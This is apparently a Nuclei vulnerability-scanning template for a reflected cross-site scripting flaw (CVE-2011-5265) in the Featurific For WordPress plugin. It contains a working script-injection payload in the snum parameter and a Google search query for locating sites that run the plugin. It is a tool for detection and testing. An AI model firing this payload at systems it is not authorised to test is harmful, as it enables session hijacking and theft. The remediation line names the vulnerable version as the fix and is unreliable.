id: CVE-2011-5265

info:
  name: Featurific For WordPress 1.6.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in cached_image.php in the Featurific For WordPress plugin 1.6.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the snum parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Featurific For WordPress plugin (1.6.2) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5265
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71468
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5265
    cwe-id: CWE-79
    epss-score: 0.06376
    epss-percentile: 0.90593
    cpe: cpe:2.3:a:featurific_for_wordpress_project:featurific-for-wordpress:1.6.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "featurific_for_wordpress_project"
    product: "featurific-for-wordpress"
    google-query: "inurl:\"/wp-content/plugins/featurific-for-wordpress\""
  tags: cve2011,cve,wordpress,xss,wp-plugin,featurific_for_wordpress_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/featurific-for-wordpress/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Featurific For Wordpress'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402207b3fe101a169c07f5130d74bb13e36885f4a61bcc8729582c1fc0c566c82d734022077a7b0efc7a11a417f554032e0ade8f86963a287abffe519edefaf8492863811:922c64590222798bb761d5b6d8e72950